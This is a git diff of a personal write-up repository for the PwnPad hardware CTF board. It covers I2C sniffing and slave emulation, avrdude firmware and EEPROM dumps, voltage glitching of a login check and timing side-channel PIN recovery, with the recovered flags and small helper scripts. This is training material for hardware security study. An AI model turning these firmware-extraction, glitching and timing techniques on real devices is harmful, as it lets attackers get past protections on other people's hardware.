@@ -0,0 +1,25 @@
+# **Challenge 3: "Bus Whisperer"**
+
+Deep inside an abandoned research lab, you’ve discovered a prototype security device. It appears to be communicating with hidden components over an **I2C bus**. The traffic is silent to the untrained eye, but with the right tools, you can eavesdrop on the device's conversations and uncover what it's hiding.
+
+**Your mission is clear:**
+
+1. **Identify the I2C communication lines** used by the device.
+2. **Identify all connected I2C devices** the system is interacting with.
+3. **Retrieve** the hidden message embedded in the communication.
+
+## Setup
+
+
+
+## Notes
+
+Fairly simple. wire up the logic analyser, capture and decode:
+
+
+
+That decodes to:
+
+```
+TS{(h@||eng3_07P_i5_1951556615}
+```
\ No newline at end of file
diff --git a/04.md b/04.md
new file mode 100644
index 0000000..05e1bbd
--- /dev/null
+++ b/04.md
@@ -0,0 +1,33 @@
+# **Challenge 4: "Invisible Wires"**
+
+You’ve infiltrated a secure facility to extract a prototype device believed to hold critical secrets. After ripping the main board from its casing and making your escape, a sudden realization hits (**you left a secondary board behind**), still wired in and powered.
+
+Unexpectedly, the stolen board is trying to communicate with its twin over **I2C**, as if expecting a response. It’s time to turn the tables: tap into the bus, reverse the dialogue, and extract what it’s trying to say.
+
+**Your mission is clear:**
+
+1. **Identify the I2C lines** used for board-to-board communication.
+2. **Reverse engineer the protocol** or expected responses from the second board.
+3. **Emulate or spoof the missing board** to trigger a flag or secret message.
+
+## Setup
+
+
+
+## Notes
+
+Fire up the logic analyzer and see it's lookign for a device with a specific address:
+
+
+
+So I made a small arduino sketch to emulate this: [04_arduino.ino](docs/04_arduino.ino)
+
+The next time I checked the logic analyzer:
+
+
+
+This decodes to:
+
+```
+TS{1_N33D_/\/\y_8u66y}
+```
\ No newline at end of file
diff --git a/05.md b/05.md
new file mode 100644
index 0000000..9440047
--- /dev/null
+++ b/05.md
@@ -0,0 +1,181 @@
+# **Challenge 5: "Code Heist"**
+
+In a high-tech underground bunker, you've stumbled upon a **security keypad** linked to a classified device. The rumors suggest that entering a **hidden password** will unlock a **secret mode**, but there’s a catch—the password isn’t documented anywhere.
+
+However, your investigation reveals that the device’s firmware is stored in the internal **Flash memory**, and there’s a chance that the password is hardcoded within. If you can extract the firmware, you just might be able to pull off the ultimate **code heist**.
+
+**Your mission is clear:**
+
+1. **Dump the firmware** from the internal Flash memory using available debugging or ISP interfaces.
+2. **Analyze the firmware binary** to locate and recover the hardcoded password.
+3. **Use the password on the keypad** to unlock the device’s secret mode and retrieve the flag.
+
+## Setup
+
+
+
+## Notes
+
+I used a seperate arduino with the "Arduino as ISP" sketch loaded and pulled the chip from the PwnPad which was then put in to a second spare arduino. The following was used to confirm that the atmega328p could be read:
+
+```
+$> avrdude -v -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -n
+
+avrdude: Version 7.1
+ Copyright the AVRDUDE authors;
+ see https://github.com/avrdudes/avrdude/blob/main/AUTHORS
+
+ System wide configuration file is /etc/avrdude.conf
+ User configuration file is /root/.avrduderc
+ User configuration file does not exist or is not a regular file, skipping
+
+ Using Port : /dev/ttyACM0
+ Using Programmer : arduino
+ Overriding Baud Rate : 19200
+ AVR Part : ATmega328P
+ Chip Erase delay : 9000 us
+ PAGEL : PD7
+ BS2 : PC2
+ RESET disposition : possible i/o
+ RETRY pulse : SCK
+ Serial program mode : yes
+ Parallel program mode : yes
+ Timeout : 200
+ StabDelay : 100
+ CmdexeDelay : 25
+ SyncLoops : 32
+ PollIndex : 3
+ PollValue : 0x53
+ Memory Detail :
+
+ Block Poll Page Polled
+ Memory Type Alias Mode Delay Size Indx Paged Size Size #Pages MinW MaxW ReadBack
+ ----------- -------- ---- ----- ----- ---- ------ ------ ---- ------ ----- ----- ---------
+ eeprom 65 20 4 0 no 1024 4 0 3600 3600 0xff 0xff
+ flash 65 6 128 0 yes 32768 128 256 4500 4500 0xff 0xff
+ lfuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ hfuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ efuse 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ lock 0 0 0 0 no 1 1 0 4500 4500 0x00 0x00
+ signature 0 0 0 0 no 3 1 0 0 0 0x00 0x00
+ calibration 0 0 0 0 no 1 1 0 0 0 0x00 0x00
+
+ Programmer Type : Arduino
+ Description : Arduino for bootloader using STK500 v1 protocol
+ Hardware Version: 2
+ Firmware Version: 1.18
+ Topcard : Unknown
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+
+avrdude done. Thank you.
+```
+
+Then pull the firmware:
+
+```
+$> avrdude -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -U flash:r:flash_dump.bin:r
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+avrdude: reading flash memory ...
+
+Reading | ################################################## | 100% 20.92 s
+
+avrdude: writing output file flash_dump.bin
+
+avrdude done. Thank you.
+```
+
+Instead of loading the firmware in ghidra or another reversing tool I simply ran strings against it to find some low hanging fruit:
+
+```
+$> strings flash_dump.bin
+ h>s@
+/_?O/s3'
+IUZO
+E+F+G+i
+/_?Oy
+ h1P
+!P1 A Q V
+#+$+%+y
+G.Q,a,q,
+E.Q,a,q,
+C.Q,C
+d.q,N
+O.Q,a,q,
+&.1,s
+G.Q,
+n.q,N
+/_?OY
+(P1
+.P1
+'*0Q
+?OOO_O
+"P1 9
+N__O$
+N__O
+"P1
+Q,A,
+APP@
+SECRET MODE UNLOCKED: TS{F1rmw@re_S3cret}
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
++=========== Welcome To The UART Challenge ===========+
+| You Successfully Identified The Baudrate |
+| You Can Now Control The LEDS |
+| TS{U@rt_15_@w3s0m3} |
++=====================================================+
+SELECT LED (1/2/3) >
+Error Wrong Id !
+SELECT STATUS (0/1) >
+Something Went Wrong!
+TS{N0w_Y0u_@r3_@n_el173_H@(k3r}
+TS{(h@||eng3_07P_i5_
+TS{1_N33D_/\/\y_8u66y}
+I will never tell you my secret !
+TS{Gl1th3s_@r3_Awe50m3_!}
+---------------------
+cnt:
+Hahaha, I changed my trigger go and find it
+TS{0h_n0_y0u_foun6_my_7r1gg3r}
+You will never enter my vault!
+TS{Y0u_3nter36_th3_v@ul7}
+You are no good enough
+TS{D@mn_y0u_@r3_g006}
+Welcome to my Login Interface!
+You managed to identify my UART baudrate, now please login.
+[+] Please Provide Your Password:
+Please Enter Your 8 Digit PIN:
+TS{D0n7_M355_w17h_t1m3}
+[-] Wrong PIN!
+No Challenge Selected!
+[-] Login FAILED
+TS{L0gin_Succ355fu1_!}
+d3@1bt7*0PqSxc9~^
+25315294
+355fu1_!}
+[-] Login FAILED
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
+d3@1bt7*0PqSxc9~^
+25315294
+Password:
+Please Enter Your 8 Digit PIN:
+TS{D0n7_M355_w17h_t1m3}
+[-] Wrong PIN!
+No Challenge Selected!
+[-] Login FAILED
+TS{L0gin_Succ355fu1_!}
+- .-- ...-- .-.. ...- . ..... ...-- -.-.
+d3@1bt7*0PqSxc9~^
+25315294
+$N__O
+```
+
+Wow loads of flags! we know that we need to find the morese code as that can be input via UART:
+
+
+
+I wasnt convinced that was the intended way of doing it, so I also pulled the firmware using the headers on the board, that setup looked like:
+
+
\ No newline at end of file
diff --git a/06.md b/06.md
new file mode 100644
index 0000000..a55dd6c
--- /dev/null
+++ b/06.md
@@ -0,0 +1,76 @@
+# **Challenge 6: "Hard Leak"**
+
+You've managed to extract a mysterious device from a corporate blacksite. After digging into the firmware, you realize there's **nothing useful stored in Flash**, but there's one more place secrets like to hide: the **internal EEPROM**.
+
+**Your mission is clear:**
+
+1. **Identify how to access the internal EEPROM** of the device using ISP or other means.
+2. **Recover the hidden flag** from the leaked EEPROM data.
+
+## Setup
+
+
+
+## Notes
+
+This was basically the same as the previous challenge. Pull the eeprom instead of the flash:
+
+```
+$> avrdude -c arduino -P /dev/ttyACM0 -b 19200 -p m328p -U eeprom:r:eeprom_dump.hex:i
+
+avrdude: AVR device initialized and ready to accept instructions
+avrdude: device signature = 0x1e950f (probably m328p)
+avrdude: reading eeprom memory ...
+
+Reading | ################################################## | 100% 4.14 s
+
+avrdude: writing output file eeprom_dump.hex
+
+avrdude done. Thank you.
+```
+
+Echo the file to reads it's contents:
+
+```
+$> cat eeprom_dump.hex
+:2000000054537B33335052304D5F69355F66756E5F217DFFFFFFFFFFFFFFFFFFFFFFFFFFA4
+:20002000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFE0
+:20004000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFC0
+:20006000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFA0
+:20008000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF80
+:2000A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF60
+:2000C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF40
+:2000E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF20
+:20010000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
+:20012000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDF
+:20014000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBF
+:20016000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9F
+:20018000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7F
+:2001A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5F
+:2001C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3F
+:2001E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1F
+:20020000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFE
+:20022000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDE
+:20024000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBE
+:20026000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9E
+:20028000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7E
+:2002A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5E
+:2002C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3E
+:2002E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1E
+:20030000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFD
+:20032000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFDD
+:20034000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFBD
+:20036000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF9D
+:20038000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF7D
+:2003A000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF5D
+:2003C000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF3D
+:2003E000FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF1D
+:00000001FF
+```
+
+Convert the hex string that stands out at the begining: (54537B33335052304D5F69355F66756E5F217D)
+
+```
+$> grep -oP ':[0-9A-F]{8}\K[0-9A-F]+' eeprom_dump.hex | tr -d '\n' | xxd -r -p | strings
+TS{33PR0M_i5_fun_!}
+```
diff --git a/07.md b/07.md
new file mode 100644
index 0000000..a84a949
--- /dev/null
+++ b/07.md
@@ -0,0 +1,26 @@
+# **Challenge 7: "Power Trip"**
+
+You’ve discovered a device that appears locked down tight, every known interface rejects your commands. But somehow you find a **code block that’s never supposed to execute**, likely due to built-in protection checks.
+
+By carefully injecting a **voltage glitch** at the right moment, you might be able to **bypass those checks** and force the device into revealing its hidden path. The **SDA pin** serves as your glitch trigger, and if successful, the device will spill the flag over **UART @ 9600 baudrate**.
+
+**Your mission is clear:**
+
+1. **Identify the timing window** during which to trigger the voltage glitch.
+2. **Inject a glitch using the SDA pin as your trigger source.**
+3. **Access the dead code block** and retrieve the flag via UART at 9600 baudrate.
+
+## Setup
+
+
+
+## Notes
+
+Start by logic analyzing the pins:
+
+
+
+Use the pulse on an input pin of the curious bolt as a trigger to cause the glitch.\
+Made easier with the Glitch-o-Bolt config: [07_GoB_config.py](docs/07_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/08.md b/08.md
new file mode 100644
index 0000000..ce1324d
--- /dev/null
+++ b/08.md
@@ -0,0 +1,25 @@
+# **Challenge 8: "Glitch Storm"**
+
+Building on the success of the **Power Trip** challenge, you are once again faced with the same challenge. The goal remains the same, **trigger a voltage glitch to enter a hidden code path and retrieve the flag**.
+
+However, the catch this time is that the glitch trigger is no longer the obvious SDA pin. You must **discover the new trigger pin and timing** to successfully glitch the device.
+
+**Your mission is clear:**
+
+1. **Analyze the device to identify the new glitch trigger.**
+2. **Precisely time and inject the voltage glitch at the discovered trigger.**
+3. **Access the hidden code block and extract the flag over UART.**
+
+## Setup
+
+
+
+## Notes
+
+This was basically the same as the previous one. After probing around to find what was giving a clock-esque signal (it was pretty obvious) I checked with the logic analyzer:
+
+
+
+Created a similar Glitch-o-Bolt config: [08_GoB_config.py](docs/08_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/09.md b/09.md
new file mode 100644
index 0000000..7fe1fa2
--- /dev/null
+++ b/09.md
@@ -0,0 +1,64 @@
+# **Challenge 9: "Clock Spy"**
+
+You’ve uncovered a high-security vault guarded by a keypad that requires a 5-digit PIN. When the PIN is entered and the OK button pressed, the system checks the password internally.
+
+Your task is to perform a **timing side-channel attack** to recover the PIN as quickly and efficiently as possible. But beware — the PIN **changes every time the device reboots**, adding an extra layer of complexity to your attack.
+
+> **Disclaimer:**
+> Normally, side-channel attacks require expensive equipment such as oscilloscopes and specialized tooling like a ChipWhisperer. However, we have intentionally added specific delays so these attacks can be performed using a **very affordable logic analyzer**.
+
+**Your mission is clear:**
+
+1. **Observe and measure timing variations** during the PIN verification process.
+2. **Use side-channel analysis techniques** to deduce each digit of the PIN.
+3. **Recover the correct 5-digit PIN before the device resets.**
+4. **Retrieve the flag via UART at 9600 baud rate.**
+
+## Setup
+
+
+
+## Notes
+
+I decided to add some header pins from the resistors and buttons for easier debugging:
+
+
+
+The LED flashed once the first incorrect pin was found, there was a small delay between each pin check, thereby we could dissern each pin one after the other. e.g.:
+
+|pin attempt|time|notes|
+|---|---|---|
+|1111|005ms||
+|2222|**010ms**|"2" must be correct as took longest|
+|3333|050ms||
+|2111|**015ms**|"21" took longest of 2nd digit choices|
+|2222|010ms||
+|2333|010ms||
+
+... and so on until the code is worked out.
+
+I hooked up the logic aanalyser to the ok button and the LED. The LED on the lower trace:
+
+
+
+So I didnt have to push the buttons manually (because that would have been a disaster) I wired up the arduino to the buttons and LED and created an arduino sketch to ineract with input and output pins and time when pins go high/low: [arduino code](docs/09_arduino.ino)
+
+I also created a python class to talk to the arduino: [arduinIO](docs/arduinIO.py)
+
+This was all tied together with of course, a glitch-o-bolt config: [glitch-o-bolt config](docs/09_GoB_config.py)
+
+With the logic analyzer still hooked up it was possible to see the delay buy usign the timing markers on the start of the button press and the start of the LED turning off:
+
+
+
+This demonstrates the time between ".", "-" and " " (symbolized as "\*") for identifying the first character
+
+
+
+The second char
+
+
+
+And of course the glitch-o-bolt solution:
+
+
\ No newline at end of file
diff --git a/10.md b/10.md
new file mode 100644
index 0000000..6ca199c
--- /dev/null
+++ b/10.md
@@ -0,0 +1,22 @@
+# **Challenge 10: "Tempo Leak"**
+
+This challenge builds on the mechanics of **Clock Spy**, but with a twist. The device now uses a **4-digit PIN**, and the password verification is only triggered **after all four digits have been entered**.
+
+Your goal remains a **timing side-channel attack** to recover the PIN. The change in input handling means you’ll need to adjust your analysis techniques accordingly.
+
+**Your mission is clear:**
+
+1. **Capture and analyze timing data** during the full 4-digit PIN entry.
+2. **Leverage timing variations** to deduce the complete PIN.
+3. **Recover the PIN and bypass the security check.**
+4. **Retrieve the flag via UART at 9600 baud rate.**
+
+## Setup
+
+
+
+## Notes
+
+This was very similar to the previous one. Minor tweaks to the glitch-o-bolt config: [glitch-o-bolt config](docs/10_GoB_config.py)
+
+
\ No newline at end of file
diff --git a/11.md b/11.md
new file mode 100644
index 0000000..15b5a25
--- /dev/null
+++ b/11.md
@@ -0,0 +1,96 @@
+# **Challenge 11: "Chaos Chain: Glitchgate"**
+
+Welcome to the **Glitchgate** arena, where you get no schematics, no source code, and only the bare device in front of you. Your goal is to break in by chaining multiple hardware attack techniques.
+
+This challenge combines two major hurdles:
+- An **obscure UART baud rate** that you must identify to establish communication.
+- A **fault injection attack** that bypasses the UART login screen, granting unauthorized access.
+
+You’ll need to carefully analyze the device, discover the correct UART settings, and time your glitch precisely to defeat its defenses.
+
+**Your mission is clear:**
+
+1. **Identify the obscure UART baud rate** used by the device.
+2. **Bypass the UART login screen** via a fault injection.
+3. **Gain control of the device and retrieve the flag through the UART interface.**
+
+## Setup
+
+
+
+## Notes
+
+Start much like challenge #2 and analyze the traffic to identify the pulse width:
+
+
+
+**Quick math:**\
+Baud rate = 1 / bit time\
+Bit time = 1 microsecond = 1 × 10⁻⁶ seconds\
+Baud rate = 1 / (1 × 10⁻⁶) = 1 000 000 baud
+
+**Answer:** The UART baud rate is 1 000 000 baud (1 Mbps).
+
+
+lets check that:
+
+
+
+It already has a hardcoded password.\
+It sets a variable to 1 (the correct password variable).\
+You input a string and it will read up until "\r".\
+For each letter of the hardcoded password it will check the corresponding letter of the input string, if it doesnt match then it sets the variable to 0 (password incorrect).\
+Once this has complete it checks the variable and either returns the flag or an error message.\
+That looks as follows:
+
+```
+void blackbox_chain_UART_Glitch_Attack(void){
+ const char password[] = "-redacted-"; // orig 17 chars
+ Serial.begin(900847); // dbeef
+ Serial.println("\nWelcome to my Login Interface!");
+ Serial.println("You managed to identify my UART baudrate, now please login.");
+ Serial.println("[+] Please Provide Your Password:");
+
+ while(1){
+ Serial.flush();
+ if (Serial.available() > 0) {
+ char provided_password[strlen(password)];
+ Serial.readBytesUntil('\n', provided_password, strlen(password));
+ int success = 1;
+ for (int i = 0; i < strlen(password); i++) {
+ if (provided_password[i] != password[i]) {
+ success = 0;
+ break;
+ }
+ }
+
+ if (success == 1) {
+ Serial.println("-redacted flag-");
+ Serial.flush();
+ exit(0);
+ } else {
+ Serial.println("[-] Login FAILED");
+ Serial.println("[+] Please Provide Your Password:");
+ }
+ }
+ }
+}
+```
+
+It seems like there are a few potential glitch places:
+
+`if (success == 1) {` - have to get crazy lucky to glitch this comparison or glitch the variable “success” to be 1!
+
+`Serial.println("[-] Login FAILED");` - could glitch the pointer to the string and it echos another memory location (hopefully the flag) - insanely unlikley
+
+`for (int i = 0; i < strlen(password); i++) {` - if could glitch the loop so skips over it entirely and “success” would stay 1
+
+Of course I wrote a glitch-o-bolt script to brute-force this: [glitch-o-bolt config](docs/11_GoB_config.py)
+
+The watchdog is there because sometimes it glitched into a state that caused it to stop responding, if it doesnt respond for 2 seconds then the watchdog will restart the device (with a long glitch).
+
+I didnt get it to bypass the check or echo the flag. I think given enough time it will, theres got to be a better way of doing this?
+
+It did echo the previous challenges flag a lot (I guess it was in the memory, or at an address where one bit flip pointed to or somesuch)
+
+
\ No newline at end of file
diff --git a/12.md b/12.md
new file mode 100644
index 0000000..1bf3787
--- /dev/null
+++ b/12.md
@@ -0,0 +1,87 @@
+# **Challenge 12: "Chaos Chain: Timebomb"**
+
+In this final Black Box CTF challenge, the device steps up the difficulty:
+- The **UART pins have been relocated**, so you must manually identify the correct pins.
+- The UART communication runs at a **non-common baud rate**, adding an extra layer of complexity.
+- After establishing communication, you must perform a **timing side-channel attack** to extract the secret.
+
+Only the most persistent and observant hackers will succeed.
+
+**Your mission is clear:**
+
+1. **Identify the relocated UART pins** through careful probing.
+2. **Determine the obscure UART baud rate** used by the device.
+3. **Perform a timing side-channel attack** to retrieve the hidden flag via UART.
+
+## Setup
+
+
+
+## Notes
+
+The first step was probing around until I found the correct UART pins, once I did, I then hooked up some clips to the logic analyzer:
+
+
+
+This gave the following:
+
+
+
+I then traced the chip pins to the header pins on the board and hooked up the board to look like the setup picture above.
+
+Maths that pulse width:\
+Baud rate = 1 / bit time\
+Bit time = 833.75 microseconds = 833.75 × 10⁻⁶ seconds\
+Baud rate = 1 / (833.75 × 10⁻⁶) = 1 199.1004 baud
+
+**Answer:** The UART baud rate is approximately 1 199 baud.
+
+For this one I didnt use glitch-o-bolt, instead opting for a standalone python script: [12_solution.py](docs/12_solution.py)\
+The full solution output can be read here: [12_solution.txt](docs/12_solution.txt)
+
+But to summarize:
+
+```
+[INFO] Analysing position 6/8
+[RESULT] Candidate '0' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1021.00 ms
+[RESULT] Candidate '3' average LOW-delay: 1011.00 ms
+[RESULT] Candidate '4' average LOW-delay: 1010.00 ms
+[RESULT] Candidate '5' average LOW-delay: 1009.00 ms
+[RESULT] Candidate '6' average LOW-delay: 1012.00 ms
+[RESULT] Candidate '7' average LOW-delay: 1012.00 ms
+[RESULT] Candidate '8' average LOW-delay: 1013.00 ms
+[RESULT] Candidate '9' average LOW-delay: 1010.00 ms
+[INFO] Position 6 selected: '2' (avg 1021.00 ms)
+
+ ┌───────────────────────────────┐
+ │ Progress: 253152 │
+ └───────────────────────────────┘
+
+[INFO] Analysing position 7/8
+[RESULT] Candidate '0' average LOW-delay: 1020.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1020.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '3' average LOW-delay: 0.00 ms
+[RESULT] Candidate '4' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '5' average LOW-delay: 1021.00 ms
+[RESULT] Candidate '6' average LOW-delay: 1019.00 ms
+[RESULT] Candidate '7' average LOW-delay: 1023.00 ms
+[RESULT] Candidate '8' average LOW-delay: 1022.00 ms
+[RESULT] Candidate '9' average LOW-delay: 1032.00 ms
+[INFO] Position 7 selected: '9' (avg 1032.00 ms)
+
+ ┌───────────────────────────────┐
+ │ Progress: 2531529 │
+ └───────────────────────────────┘
+
+[INFO] Analysing position 8/8
+[RESULT] Candidate '0' average LOW-delay: 1031.00 ms
+[RESULT] Candidate '1' average LOW-delay: 1032.00 ms
+[RESULT] Candidate '2' average LOW-delay: 1032.00 ms
+[RESULT] Candidate '3' average LOW-delay: 1030.00 ms
+[SUCCESS] Device accepted code via UART: TS{D0n7_M355_w17h_t1m3} -> 25315294
+[SUCCESS] Discovered PIN: 25315294
+[INFO] Connections closed
+```
\ No newline at end of file
diff --git a/README.md b/README.md
new file mode 100644
index 0000000..3a25cd4
--- /dev/null
+++ b/README.md
@@ -0,0 +1,33 @@
+12Sec CTF - PwnPad v1.0
+===============
+
+This is where I am storing my documentation and solutions for the PwnPad CTF.
+
+>**There are spoilers here, if you dont want to read spoilers/solutions/flags then turn away now**
+>
+> You have been warned.
+>
+> **THIS REPO CONTAINS SPOILERS**
+
+That being said the solutions I have come up with may not be the intended solution, but they are what worked for me.
+
+## Status
+
+|done|#|Name|Topics|Description|
+|---|---|---|---|---|
+|[x]|[01](01.md)|Serial Snitch|`#UART`|Intercept and decode UART communication.|
+|[x]|[02](02.md)|Echo Chamber|`#UART`|Intercept and decode UART communication, with security through obscurity.|
+|[x]|[03](03.md)|Bus Whisperer|`#I2C`|Spy on I2C traffic to extract secrets.|
+|[x]|[04](04.md)|Invisible Wires|`#I2C`|Attack I2C when slave devices are missing.|
+|[x]|[05](05.md)|Code Heist|`#SPI` `#ISP` `#Flash` `#UART`|Dump and analyze firmware from flash.|
+|[x]|[06](06.md)|Hard Leak|`#SPI` `#ISP` `#EEPROM`|Extract data from the internal EEPROM.|
+|[x]|[07](07.md)|Power Trip|`#FaultInjection` `#UART`|Use glitching to bypass dead code statements.|
+|[x]|[08](08.md)|Glitch Storm|`#FaultInjection` `#UART`|Use glitching to bypass password verification.|
+|[x]|[09](09.md)|Clock Spy|`#SideChannel` `#UART`|Leak secrets using timing variations.|
+|[x]|[10](10.md)|Tempo Leak|`#SideChannel` `#UART`|Leak secrets using timing variations with a twist.|
+|[ ]|[11](11.md)|Chaos Chain: Glitchgate|`#FaultInjection` `#UART` |Combine UART and glitch attacks to break in.|
+|[x]|[12](12.md)|Chaos Chain: Timebomb|`#UART` `#SideChannel`|Combine UART and chain timing leaks to break in.|
+
+## The Board
+
+
\ No newline at end of file
diff --git a/docs/01_GoB.png b/docs/01_GoB.png
new file mode 100644
index 0000000..323ad56
--- /dev/null
+++ b/docs/01_GoB.png
Binary files differ
diff --git a/docs/01_GoB_config.py b/docs/01_GoB_config.py
new file mode 100644
index 0000000..19bd20d
--- /dev/null
+++ b/docs/01_GoB_config.py
@@ -0,0 +1,50 @@
+######
+# LEAVE THESE IMPORTS!
+######
+import functions
+import time
+
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 9600
+UART_NEWLINE = ""
+
+###
+# name, enabled, string to match
+###
+conditions = [
+ ['1', False, "", 'one'],
+ ['2', False, "", 'two'],
+ ['3', False, "", 'three'],
+]
+
+######
+# Custom functions
+######
+
+# Toggle states for each function
+toggle_state_one = 0
+toggle_state_two = 0
+toggle_state_three = 0
+
+def one():
+ global toggle_state_one
+ functions.send_uart_message("1")
+ functions.send_uart_message(str(toggle_state_one))
+ toggle_state_one = 1 - toggle_state_one
+
+def two():
+ global toggle_state_two
+ functions.send_uart_message("2")
+ functions.send_uart_message(str(toggle_state_two))
+ toggle_state_two = 1 - toggle_state_two
+
+def three():
+ global toggle_state_three
+ functions.send_uart_message("3")
+ functions.send_uart_message(str(toggle_state_three))
+ toggle_state_three = 1 - toggle_state_three
+
diff --git a/docs/01_setup.png b/docs/01_setup.png
new file mode 100644
index 0000000..2620b36
--- /dev/null
+++ b/docs/01_setup.png
Binary files differ
diff --git a/docs/02_GoB.png b/docs/02_GoB.png
new file mode 100644
index 0000000..f39dfc7
--- /dev/null
+++ b/docs/02_GoB.png
Binary files differ
diff --git a/docs/02_GoB_config.py b/docs/02_GoB_config.py
new file mode 100644
index 0000000..2671dec
--- /dev/null
+++ b/docs/02_GoB_config.py
@@ -0,0 +1,7 @@
+######
+# config values
+######
+
+SERIAL_PORT = '/dev/ttyUSB0'
+BAUD_RATE = 31250
+
diff --git a/docs/02_logic_01.png b/docs/02_logic_01.png
new file mode 100644
index 0000000..a0172e4
--- /dev/null
+++ b/docs/02_logic_01.png
Binary files differ
diff --git a/docs/02_logic_02.png b/docs/02_logic_02.png
new file mode 100644
index 0000000..4fff1fb
--- /dev/null
+++ b/docs/02_logic_02.png
Binary files differ
diff --git a/docs/02_setup.png b/docs/02_setup.png
new file mode 100644
index 0000000..9da2c40
--- /dev/null
+++ b/docs/02_setup.png
Binary files differ
diff --git a/docs/03_logic.png b/docs/03_logic.png
new file mode 100644
index 0000000..82b6351
--- /dev/null
+++ b/docs/03_logic.png
Binary files differ
diff --git a/docs/03_setup.png b/docs/03_setup.png
new file mode 100644
index 0000000..4b3b988
--- /dev/null
+++ b/docs/03_setup.png
Binary files differ
diff --git a/docs/04_arduino.ino b/docs/04_arduino.ino
new file mode 100644
index 0000000..9fac534
--- /dev/null
+++ b/docs/04_arduino.ino
@@ -0,0 +1,31 @@
+// Minimal I2C slave that ACKs writes at address 0x12
+// Reads and discards incoming bytes so the master write is acknowledged
+#include
+
+const uint8_t SLAVE_ADDR = 0x12; // 18 decimal
+
+void setup() {
+ Wire.begin(SLAVE_ADDR); // start as slave at 0x12
+ Wire.onReceive(onReceive); // handle master write transfers
+ // LED gives a short visual indication of activity
+ pinMode(LED_BUILTIN, OUTPUT);
+ digitalWrite(LED_BUILTIN, LOW);
+}
+
+void loop() {
+ // No active work required in loop for this simple slave
+ delay(200);
